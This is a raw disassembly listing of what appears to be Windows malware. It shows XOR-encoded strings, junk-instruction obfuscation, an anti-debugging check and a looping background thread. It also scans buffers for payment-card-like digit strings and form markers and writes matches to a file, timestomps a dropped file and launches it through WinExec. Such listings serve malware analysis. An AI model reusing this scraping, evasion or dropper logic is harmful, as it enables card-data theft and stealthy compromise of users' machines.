loc_407C62: ; CODE XREF: sub_406D2E+F01j
call GetCurrentThreadId ; GetCurrentThreadId
mov [ebp+var_525EE], 0
loc_407C70: ; CODE XREF: sub_406D2E+FE1j
mov eax, 13h
sub eax, dword_4423A8
push eax
movzx eax, [ebp+var_525EE]
lea eax, ds:4423B4h[eax]
push eax
push offset MultiByteStr
call sub_40181A
add esp, 0Ch
cmp eax, 0FFFFh
jz short loc_407CB8
call GetVersion ; GetVersion
push 1
lea eax, [ebp+var_2177D]
push eax
call dword_40F1D8
jmp loc_407D3D
; ---------------------------------------------------------------------------
loc_407CB8: ; CODE XREF: sub_406D2E+F6Fj
movzx eax, [ebp+var_525EE]
mov [ebp+var_52674], eax
lea ecx, ds:4423B4h[eax]
or eax, 0FFFFFFFFh
loc_407CCF: ; CODE XREF: sub_406D2E+FA6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_407CCF
mov esi, [ebp+var_52674]
add esi, eax
mov edi, esi
mov [ebp+var_525EE], di
mov [ebp+var_52626], 4EA9h
add [ebp+var_52626], 266Bh
inc [ebp+var_525EE]
movzx eax, [ebp+var_525EE]
cmp byte_4423B4[eax], 0
jnz loc_407C70
call GetCurrentThreadId ; GetCurrentThreadId
push 0
lea eax, [ebp+var_2177D]
push eax
call dword_40F1D8
lea edi, [ebp+var_5266D]
lea esi, byte_442425
mov ecx, 3
rep movsw
loc_407D3D: ; CODE XREF: sub_406D2E:loc_407BFAj
; sub_406D2E+F2Ej ...
mov [ebp+var_21788], 0
jmp short loc_407D74
; ---------------------------------------------------------------------------
loc_407D48: ; CODE XREF: sub_406D2E+1053j
movzx edi, [ebp+var_21788]
cmp [ebp+edi*4+var_10FA4], 0
jz short loc_407D6D
movzx edi, [ebp+var_21788]
mov edi, [ebp+edi*4+var_10FA4]
push edi
mov edi, [edi]
call dword ptr [edi+8]
loc_407D6D: ; CODE XREF: sub_406D2E+1029j
inc [ebp+var_21788]
loc_407D74: ; CODE XREF: sub_406D2E+1018j
movzx eax, [ebp+var_21788]
movzx edx, [ebp+var_2]
cmp eax, edx
jl short loc_407D48
call GetVersion ; GetVersion
loc_407D88: ; CODE XREF: sub_406D2E+400j
; sub_406D2E+E4Fj
cmp [ebp+var_525E4], 0
jz short loc_407D9D
mov eax, [ebp+var_525E4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407D9D: ; CODE XREF: sub_406D2E+1061j
mov [ebp+var_5262C], 522Eh
inc [ebp+var_5262C]
cmp [ebp+var_52610], 0
jz short loc_407DC2
mov eax, [ebp+var_52610]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407DC2: ; CODE XREF: sub_406D2E+1086j
call GetProcessHeap ; GetProcessHeap
cmp [ebp+var_52608], 0
jz short loc_407DDC
mov eax, [ebp+var_52608]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407DDC: ; CODE XREF: sub_406D2E+10A0j
lea edi, [ebp+var_5266E]
lea esi, byte_44242B
xor ecx, ecx
inc ecx
rep movsb
loc_407DED: ; CODE XREF: sub_406D2E+227j
cmp [ebp+var_52604], 0
jz short loc_407E02
mov eax, [ebp+var_52604]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407E02: ; CODE XREF: sub_406D2E+130j
; sub_406D2E+181j ...
cmp [ebp+var_525FC], 0
jz short loc_407E17
mov eax, [ebp+var_525FC]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407E17: ; CODE XREF: sub_406D2E+10DBj
mov [ebp+var_5262D], 0FDh
add [ebp+var_5262D], 1
loc_407E25: ; CODE XREF: sub_406D2E+101j
cmp [ebp+var_525F4], 0
jz short loc_407E3A
mov eax, [ebp+var_525F4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_407E3A: ; CODE XREF: sub_406D2E+10FEj
call GetVersion ; GetVersion
jmp loc_406D95
; ---------------------------------------------------------------------------
loc_407E44: ; CODE XREF: sub_406D2E+5Cj
pop edi
pop esi
pop ebx
leave
retn
sub_406D2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall StartAddress(LPVOID)
StartAddress proc near ; DATA XREF: sub_407F07+2Co
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_44242C
push offset sub_40109A
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call GetCurrentThreadId ; GetCurrentThreadId
mov [ebp+var_4], 0
mov [ebp+var_19], 9
movzx edi, [ebp+var_19]
mov esi, edi
add esi, edi
mov ebx, esi
mov [ebp+var_19], bl
loc_407E8C: ; CODE XREF: StartAddress+83j
; StartAddress+A3j
mov [ebp+var_1A], 0DFh
movzx edi, [ebp+var_1A]
mov esi, edi
add esi, edi
mov ebx, esi
mov [ebp+var_1A], bl
mov edi, dword_4423A4
add edi, 1ECh
push edi ; Duration
call _sleep ; _sleep
add esp, 4
call sub_406D2E
mov [ebp+var_20], 12EBh
add [ebp+var_20], 59A8h
cmp ThreadId, 0
jnz short loc_407E8C
jmp short loc_407EF5
; ---------------------------------------------------------------------------
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_407EF5
; ---------------------------------------------------------------------------
mov dword ptr [ebp-1Ch], 1
mov eax, [ebp-1Ch]
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call GetVersion ; GetVersion
jmp short loc_407E8C
; ---------------------------------------------------------------------------
mov [ebp+var_4], 0FFFFFFFFh
loc_407EF5: ; CODE XREF: StartAddress+85j
; StartAddress+8Ej
pop edi
pop esi
pop ebx
xchg eax, ecx
mov eax, [ebp+var_10]
mov large fs:0, eax
xchg eax, ecx
leave
retn 4
StartAddress endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F07 proc near ; CODE XREF: sub_40AA24+7F9p
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea edi, [ebp+var_2]
lea esi, dword_442438
xor ecx, ecx
inc ecx
rep movsb
mov eax, [ebp+arg_0]
mov dword_40F1D8, eax
mov ebx, 6DB8h
inc ebx
push offset ThreadId ; lpThreadId
push 0 ; dwCreationFlags
push 0 ; lpParameter
push offset StartAddress ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call CreateThread ; CreateThread
mov ebx, eax
mov [ebp+var_1], 0E3h
add [ebp+var_1], 63h
push ebx ; hObject
call CloseHandle ; CloseHandle
call GetVersion ; GetVersion
pop edi
pop esi
pop ebx
leave
retn
sub_407F07 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
call GetVersion ; GetVersion
cmp dword_442370, 0
jnz short loc_407F71
xor eax, eax
jmp short loc_407FB9
; ---------------------------------------------------------------------------
loc_407F71: ; CODE XREF: .text:00407F6Bj
call GetLastError
mov eax, dword_42FB14
cmp [ebp+8], eax
jz short loc_407F84
xor eax, eax
jmp short loc_407FB9
; ---------------------------------------------------------------------------
loc_407F84: ; CODE XREF: .text:00407F7Ej
call GetCurrentProcessId ; GetCurrentProcessId
lea ecx, MultiByteStr
or eax, 0FFFFFFFFh
loc_407F92: ; CODE XREF: .text:00407F97j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_407F92
mov edi, eax
add edi, 1
push edi
push offset MultiByteStr
push dword ptr [ebp+0Ch]
call memcpy ; memcpy
add esp, 0Ch
call IsDebuggerPresent ; IsDebuggerPresent
mov eax, 1
loc_407FB9: ; CODE XREF: .text:00407F6Fj
; .text:00407F82j
pop edi
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_407FBC(void *Src, size_t Size)
sub_407FBC proc near ; CODE XREF: sub_408048+22Ep
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+Size]
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_442444
lea eax, ds:415580h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov [ebp+var_4], 0D2h
xor edi, edi
jmp short loc_408003
; ---------------------------------------------------------------------------
loc_407FE9: ; CODE XREF: sub_407FBC+49j
mov eax, dword_442444
add eax, edi
lea eax, ds:415580h[eax]
movsx edx, byte ptr [eax]
xor edx, 0FDh
mov [eax], dl
inc edi
loc_408003: ; CODE XREF: sub_407FBC+2Bj
cmp edi, esi
jl short loc_407FE9
mov eax, dword_442444
add eax, esi
mov byte ptr dword_415580[eax], 0
mov edi, dword_442444
add dword_442444, 3
mov eax, dword_442444
inc eax
add eax, esi
mov dword_442444, eax
cmp eax, 0DC5h
jle short loc_40803E
and dword_442444, 0
loc_40803E: ; CODE XREF: sub_407FBC+79j
lea eax, dword_415580[edi]
pop edi
pop esi
leave
retn
sub_407FBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_408048(LPCVOID lpBuffer)
sub_408048 proc near ; DATA XREF: sub_40AA24+7F4o
var_2A = byte ptr -2Ah
NumberOfBytesWritten= dword ptr -24h
var_20 = dword ptr -20h
hObject = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
lpBuffer = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov [ebp+var_13], 0BEh
add [ebp+var_13], 3Fh
and [ebp+var_4], 0
and [ebp+var_8], 0
and [ebp+var_10], 0
loc_408065: ; CODE XREF: sub_408048+15Ej
; sub_408048+169j ...
mov eax, [ebp+var_4]
mov edx, [ebp+lpBuffer]
cmp byte ptr [edx+eax], 3Ah
jnz loc_408179
mov [ebp+var_18], 723h
sub [ebp+var_18], 2278h
mov eax, [ebp+var_4]
mov edx, [ebp+lpBuffer]
cmp byte ptr [eax+edx+11h], 20h
jz short loc_40809B
cmp byte ptr [eax+edx+14h], 20h
jnz loc_408179
loc_40809B: ; CODE XREF: sub_408048+46j
mov eax, [ebp+var_4]
inc eax
mov edx, [ebp+lpBuffer]
mov al, [edx+eax]
cmp al, 34h
jz short loc_4080B1
cmp al, 35h
jnz loc_408179
loc_4080B1: ; CODE XREF: sub_408048+5Fj
mov eax, [ebp+var_4]
add eax, 11h
mov edx, [ebp+lpBuffer]
cmp byte ptr [edx+eax], 20h
jnz short loc_4080C9
mov [ebp+var_8], 10h
jmp short loc_4080D0
; ---------------------------------------------------------------------------
loc_4080C9: ; CODE XREF: sub_408048+76j
mov [ebp+var_8], 13h
loc_4080D0: ; CODE XREF: sub_408048+7Fj
mov [ebp+var_9], 0
xor ebx, ebx
jmp short loc_408150
; ---------------------------------------------------------------------------
loc_4080D8: ; CODE XREF: sub_408048+10Bj
call GetVersion ; GetVersion
cmp [ebp+var_8], 13h
jnz short loc_408119
mov eax, [ebp+var_4]
inc eax
add eax, ebx
mov edx, [ebp+lpBuffer]
cmp byte ptr [edx+eax], 2Dh
jnz short loc_408119
mov edi, 5
mov esi, ebx
inc esi
mov [ebp+hObject], edi
mov eax, esi
mov ecx, edi
xor edx, edx
div ecx
mov [ebp+var_20], eax
mov eax, edi
mov edi, [ebp+var_20]
mul [ebp+var_20]
mov [ebp+NumberOfBytesWritten], eax
mov edi, eax
cmp edi, esi
jz short loc_40814F
loc_408119: ; CODE XREF: sub_408048+99j
; sub_408048+A8j
call IsDebuggerPresent ; IsDebuggerPresent
mov eax, [ebp+var_4]
inc eax
add eax, ebx
mov edx, [ebp+lpBuffer]
mov al, [edx+eax]
cmp al, 30h
jl short loc_408132
cmp al, 39h
jle short loc_408134
loc_408132: ; CODE XREF: sub_408048+E4j
jmp short loc_408179
; ---------------------------------------------------------------------------
loc_408134: ; CODE XREF: sub_408048+E8j
movzx eax, [ebp+var_9]
mov edx, [ebp+var_4]
inc edx
add edx, ebx
mov ecx, [ebp+lpBuffer]
mov dl, [ecx+edx]
mov Format[eax], dl
add [ebp+var_9], 1
loc_40814F: ; CODE XREF: sub_408048+CFj
inc ebx
loc_408150: ; CODE XREF: sub_408048+8Ej
cmp ebx, [ebp+var_8]
jb short loc_4080D8
mov eax, [ebp+var_8]
mov Format[eax], 0
call sub_40133B
or eax, eax
jz short loc_408170
call GetCurrentProcessId ; GetCurrentProcessId
jmp short loc_408179
; ---------------------------------------------------------------------------
loc_408170: ; CODE XREF: sub_408048+11Fj
mov [ebp+var_10], 1
jmp short loc_4081E7
; ---------------------------------------------------------------------------
loc_408179: ; CODE XREF: sub_408048+27j
; sub_408048+4Dj ...
inc [ebp+var_4]
mov eax, [ebp+var_4]
mov edx, [ebp+lpBuffer]
cmp byte ptr [edx+eax], 0
jz short loc_4081E3
mov [ebp+var_12], 2C6Eh
movzx eax, [ebp+var_12]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_12], ax
mov eax, [ebp+var_4]
mov edx, [ebp+lpBuffer]
cmp byte ptr [edx+eax], 3Ch
jnz loc_408065
cmp byte ptr [eax+edx+1], 46h
jnz loc_408065
cmp byte ptr [eax+edx+2], 4Fh
jnz loc_408065
cmp byte ptr [eax+edx+3], 52h
jnz loc_408065
cmp byte ptr [eax+edx+4], 4Dh
jnz loc_408065
cmp byte ptr [eax+edx+5], 5Fh
jnz loc_408065
loc_4081E3: ; CODE XREF: sub_408048+13Ej
and [ebp+var_10], 0
loc_4081E7: ; CODE XREF: sub_408048+12Fj
cmp [ebp+var_10], 0
jz short loc_4081FC
mov eax, dword_42FB14
mov dword_43C21C, eax
jmp loc_4082A6
; ---------------------------------------------------------------------------
loc_4081FC: ; CODE XREF: sub_408048+1A3j
call IsDebuggerPresent ; IsDebuggerPresent
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
push offset byte_40E080 ; lpFileName
call CreateFileA ; CreateFileA
mov [ebp+hObject], eax
mov [ebp+var_20], 7776h
add [ebp+var_20], 6412h
push 2 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push eax ; hFile
call SetFilePointer ; SetFilePointer
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, [ebp+lpBuffer]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_408244: ; CODE XREF: sub_408048+201j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_408244
mov edi, eax
push 0 ; lpOverlapped
lea esi, [ebp+NumberOfBytesWritten]
push esi ; lpNumberOfBytesWritten
push edi ; nNumberOfBytesToWrite
push [ebp+lpBuffer] ; lpBuffer
push [ebp+hObject] ; hFile
call WriteFile ; WriteFile
lea edi, [ebp+var_2A]
lea esi, dword_442448
mov ecx, 6
rep movsb
push 2 ; Size
push offset byte_446EB0 ; Src
call sub_407FBC
add esp, 8
push 0 ; lpOverlapped
lea edi, [ebp+NumberOfBytesWritten]
push edi ; lpNumberOfBytesWritten
mov edi, 14h
sub edi, dword_442440
push edi ; nNumberOfBytesToWrite
push eax ; lpBuffer
push [ebp+hObject] ; hFile
call WriteFile ; WriteFile
call GetTickCount ; GetTickCount
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
loc_4082A6: ; CODE XREF: sub_408048+1AFj
pop edi
pop esi
pop ebx
leave
retn
sub_408048 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4082AB(void *Src, size_t Size)
sub_4082AB proc near ; CODE XREF: sub_40833E+76p
; sub_40844F+DEp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+Size]
mov [ebp+var_4], 0Dh
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_446458
lea eax, ds:40D000h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
xor edi, edi
jmp short loc_4082F0
; ---------------------------------------------------------------------------
loc_4082D9: ; CODE XREF: sub_4082AB+47j
mov eax, dword_446458
add eax, edi
lea eax, ds:40D000h[eax]
movsx edx, byte ptr [eax]
xor edx, 3Ah
mov [eax], dl
inc edi
loc_4082F0: ; CODE XREF: sub_4082AB+2Cj
cmp edi, esi
jl short loc_4082D9
mov eax, dword_446458
add eax, esi
mov byte ptr dword_40D000[eax], 0
xor edi, edi
mov edi, dword_446458
inc dword_446458
mov eax, dword_446458
lea eax, [eax+esi+6]
mov dword_446458, eax
cmp eax, 0DFAh
jle short loc_40832D
and dword_446458, 0
loc_40832D: ; CODE XREF: sub_4082AB+79j
mov [ebp+var_8], 337h
lea eax, dword_40D000[edi]
pop edi
pop esi
leave
retn
sub_4082AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40833E(HANDLE hFile)
sub_40833E proc near ; CODE XREF: sub_40844F+90p
var_22C = word ptr -22Ch
LastWriteTime = _FILETIME ptr -22Ah
LastAccessTime = _FILETIME ptr -222h
CreationTime = _FILETIME ptr -21Ah
var_212 = dword ptr -212h
Buffer = byte ptr -20Eh
var_109 = byte ptr -109h
var_108 = word ptr -108h
FileName = byte ptr -105h
hFile = dword ptr 8
push ebp
mov ebp, esp
sub esp, 22Ch
push esi
push edi
call GetTickCount ; GetTickCount
mov eax, dword_44645C
mov [ebp+var_212], eax
mov [ebp+var_108], 1671h
movzx eax, [ebp+var_108]
imul eax, 49FCh
mov [ebp+var_108], ax
push 104h ; uSize
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call GetSystemDirectoryA ; GetSystemDirectoryA
mov [ebp+var_109], 7Ch
add [ebp+var_109], 1
lea eax, [ebp+Buffer]
push eax
lea eax, [ebp+FileName]
push eax
call sub_40C6D8
call GetVersion ; GetVersion
push 0Dh ; Size
push offset word_446EA2 ; Src
call sub_4082AB
push eax ; Source
lea esi, [ebp+FileName]
push esi ; Dest
call strcat ; strcat
add esp, 10h
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000001h ; dwDesiredAccess
lea eax, [ebp+FileName]
push eax ; lpFileName
call CreateFileA ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40844B
call GetLastError
lea eax, [ebp+LastWriteTime]
push eax ; lpLastWriteTime
lea eax, [ebp+LastAccessTime]
push eax ; lpLastAccessTime
lea eax, [ebp+CreationTime]
push eax ; lpCreationTime
push edi ; hFile
call GetFileTime ; GetFileTime
lea eax, [ebp+LastWriteTime]
push eax ; lpLastWriteTime
lea eax, [ebp+LastAccessTime]
push eax ; lpLastAccessTime
lea eax, [ebp+CreationTime]
push eax ; lpCreationTime
push [ebp+hFile] ; hFile
call SetFileTime ; SetFileTime
push edi ; hObject
call CloseHandle ; CloseHandle
mov [ebp+var_22C], 0BCFh
movzx eax, [ebp+var_22C]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_22C], ax
loc_40844B: ; CODE XREF: sub_40833E+ABj
pop edi
pop esi
leave
retn
sub_40833E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40844F proc near ; CODE XREF: sub_40AA24+8Dp
var_22B = byte ptr -22Bh
var_228 = byte ptr -228h
NumberOfBytesWritten= dword ptr -220h
var_21B = byte ptr -21Bh
Dest = byte ptr -218h
FileName = byte ptr -114h
var_108 = word ptr -108h
var_105 = byte ptr -105h
CmdLine = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 22Ch
push ebx
push esi
push edi
call GetVersion ; GetVersion
call GetVersion ; GetVersion
cmp eax, 80000000h
jnb loc_4085A0
lea edi, [ebp+FileName]
lea esi, dword_446460
mov ecx, 3
rep movsd
lea edi, [ebp+var_21B]
lea esi, byte_44646C
mov ecx, 3
rep movsb
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, [ebp+FileName]
push eax ; lpFileName
call CreateFileA ; CreateFileA
mov ebx, eax
mov [ebp+var_108], 7171h
sub [ebp+var_108], 3D17h
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
push 4001h ; nNumberOfBytesToWrite
push offset word_44244E ; lpBuffer
push ebx ; hFile
call WriteFile ; WriteFile
push ebx ; hFile
call sub_40833E
call GetCurrentThreadId ; GetCurrentThreadId
push ebx ; hObject
call CloseHandle ; CloseHandle
lea edi, [ebp+var_228]
lea esi, byte_44646F
mov ecx, 2
rep movsd
lea edi, [ebp+var_22B]
lea esi, byte_446477
mov ecx, 3
rep movsb
push 104h ; uSize
lea eax, [ebp+CmdLine]
push eax ; lpBuffer
call GetSystemDirectoryA ; GetSystemDirectoryA
push 0Ah ; Size
push offset byte_446E97 ; Src
call sub_4082AB
lea edi, [ebp+CmdLine]
push edi
push eax ; Format
lea edi, [ebp+Dest]
push edi ; Dest
call sprintf ; sprintf
call GetCurrentThreadId ; GetCurrentThreadId
push 1Dh ; Size
push offset byte_446E79 ; Src
call sub_4082AB
push eax ; Source
lea edi, [ebp+CmdLine]
push edi ; Dest
call strcat ; strcat
add esp, 28h
call GetCurrentThreadId ; GetCurrentThreadId
lea eax, [ebp+Dest]
push eax ; lpFileName
call DeleteFileA ; DeleteFileA
mov [ebp+var_105], 45h
movzx eax, [ebp+var_105]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_105], al
push 0 ; uCmdShow
lea eax, [ebp+CmdLine]
push eax ; lpCmdLine
call WinExec ; WinExec
loc_4085A0: ; CODE XREF: sub_40844F+1Bj
pop edi
pop esi
pop ebx
leave
retn
sub_40844F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_446504
lea eax, ds:432DD0h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
mov dword ptr [ebp-4], 1E6h
xor edi, edi
jmp short loc_4085EB
; ---------------------------------------------------------------------------
loc_4085D4: ; CODE XREF: .text:004085EDj
mov eax, dword_446504
add eax, edi
lea eax, ds:432DD0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0Fh
mov [eax], dl
inc edi
loc_4085EB: ; CODE XREF: .text:004085D2j
cmp edi, esi
jl short loc_4085D4
mov dword ptr [ebp-8], 237h
mov eax, dword_446504
add eax, esi
mov byte ptr dword_432DD0[eax], 0
xor edi, edi
mov edi, dword_446504
add dword_446504, 2
mov eax, dword_446504
add eax, 6
add eax, esi
mov dword_446504, eax
add dword_446504, 2
cmp dword_446504, 0DC4h
jle short loc_40863D
and dword_446504, 0
loc_40863D: ; CODE XREF: .text:00408634j
mov dword ptr [ebp-0Ch], 65h
lea eax, dword_432DD0[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40864E(SIZE_T dwSize)
sub_40864E proc near ; CODE XREF: sub_408779+43p
var_1 = byte ptr -1
dwSize = dword ptr 8
push ebp
mov ebp, esp
push ecx
call GetVersion ; GetVersion
push 4 ; flProtect
push 1000h ; flAllocationType
push [ebp+dwSize] ; dwSize
push 0 ; lpAddress
call VirtualAlloc ; VirtualAlloc
jmp short locret_40867B
; ---------------------------------------------------------------------------
mov [ebp+var_1], 3Fh
movzx eax, [ebp+var_1]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1], al
locret_40867B: ; CODE XREF: sub_40864E+1Aj
leave
retn
sub_40864E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40867D(LPVOID lpAddress)
sub_40867D proc near ; CODE XREF: sub_408779+E6p
lpAddress = dword ptr 8
push ebp
mov ebp, esp
call GetCurrentThreadId ; GetCurrentThreadId
push 8000h ; dwFreeType
push 0 ; dwSize
push [ebp+lpAddress] ; lpAddress
call VirtualFree ; VirtualFree
jmp short loc_40869B
; ---------------------------------------------------------------------------
call GetProcessHeap ; GetProcessHeap
loc_40869B: ; CODE XREF: sub_40867D+17j
pop ebp
retn
sub_40867D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 2A0h
push esi
push dword ptr [ebp+8]
mov eax, dword_446510
lea eax, ds:43A570h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
mov dword ptr [ebp-8], 2B3h
xor edi, edi
jmp short loc_4086ED
; ---------------------------------------------------------------------------
loc_4086D3: ; CODE XREF: .text:004086EFj
mov eax, dword_446510
add eax, edi
lea eax, ds:43A570h[eax]
movsx edx, byte ptr [eax]
xor edx, 0F6h
mov [eax], dl
inc edi
loc_4086ED: ; CODE XREF: .text:004086D1j
cmp edi, esi
jl short loc_4086D3
mov dword ptr [ebp-0Ch], 25h
mov eax, dword_446510
add eax, esi
mov byte ptr dword_43A570[eax], 0
mov edi, dword_446510
inc dword_446510
mov eax, dword_446510
add eax, 5
add eax, esi
mov dword_446510, eax
cmp eax, 0E06h
jle short loc_408730
and dword_446510, 0
loc_408730: ; CODE XREF: .text:00408727j
mov dword ptr [ebp-10h], 20Bh
lea eax, dword_43A570[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408741 proc near ; CODE XREF: sub_408779+103p
var_4 = word ptr -4
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 19C3h
sub [ebp+var_4], 4EAAh
push offset dword_4464BC
push offset dword_44647C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40BC80
mov [ebp+var_1], 19h
movzx eax, [ebp+var_1]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1], al
leave
retn
sub_408741 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_408779(void *Src, size_t Size, int)
sub_408779 proc near ; CODE XREF: sub_4098A8+4E0p
var_71 = word ptr -71h
var_6F = byte ptr -6Fh
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
Buf1 = byte ptr -62h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
lpAddress = dword ptr -18h
Buf2 = byte ptr -14h
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 74h
push ebx
push esi
push edi
mov ebx, [ebp+Src]
call GetProcessHeap ; GetProcessHeap
lea edi, [ebp+var_68]
lea esi, dword_446514
mov ecx, 3
rep movsw
call GetVersion ; GetVersion
mov eax, dword_44651A
mov [ebp+var_6C], eax
mov eax, [ebp+Size]
add eax, 40h
jge short loc_4087B3
add eax, 3Fh
loc_4087B3: ; CODE XREF: sub_408779+35j
sar eax, 6
mov edi, eax
shl edi, 6
push edi ; dwSize
call sub_40864E
pop ecx
mov [ebp+lpAddress], eax
mov [ebp+var_22], 7A30h
sub [ebp+var_22], 748Fh
mov eax, [ebp+Size]
add eax, 40h
jge short loc_4087DC
add eax, 3Fh
loc_4087DC: ; CODE XREF: sub_408779+5Ej
sar eax, 6
mov edi, eax
shl edi, 6
push edi
push [ebp+lpAddress]
call RtlZeroMemory ; RtlZeroMemory
lea edi, [ebp+var_6F]
lea esi, word_44651E
mov ecx, 3
rep movsb
push [ebp+Size] ; Size
push ebx ; Src
push [ebp+lpAddress] ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov [ebp+var_1C], 2FF0h
mov eax, [ebp+var_1C]
mov edx, eax
add edx, eax
mov [ebp+var_1C], edx
lea eax, [ebp+Buf2]
push eax
call sub_40BDBE
mov ebx, [ebp+lpAddress]
and [ebp+var_4], 0
jmp short loc_408849
; ---------------------------------------------------------------------------
loc_40882F: ; CODE XREF: sub_408779+E1j
mov ax, word_446521
mov [ebp+var_71], ax
push ebx
lea eax, [ebp+Buf2]
push eax
call sub_40BDE5
add ebx, 40h
inc [ebp+var_4]
loc_408849: ; CODE XREF: sub_408779+B4j
mov eax, [ebp+Size]
add eax, 40h
jge short loc_408854
add eax, 3Fh
loc_408854: ; CODE XREF: sub_408779+D6j
sar eax, 6
cmp [ebp+var_4], eax
jl short loc_40882F
push [ebp+lpAddress] ; lpAddress
call sub_40867D
mov [ebp+var_20], 2FAh
mov eax, [ebp+var_20]
mov edx, eax
add edx, eax
mov [ebp+var_20], edx
lea eax, [ebp+Buf1]
push eax
push [ebp+arg_8]
call sub_408741
mov eax, dword_44650C
add eax, 2
push eax ; Size
lea eax, [ebp+Buf2]
push eax ; Buf2
lea eax, [ebp+Buf1]
push eax ; Buf1
call memcmp ; memcmp
add esp, 18h
or eax, eax
jz short loc_4088A3
xor eax, eax
inc eax
jmp short loc_4088AA
; ---------------------------------------------------------------------------
loc_4088A3: ; CODE XREF: sub_408779+123j
call IsDebuggerPresent ; IsDebuggerPresent
xor eax, eax
loc_4088AA: ; CODE XREF: sub_408779+128j
pop edi
pop esi
pop ebx
leave
retn
sub_408779 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_44652C
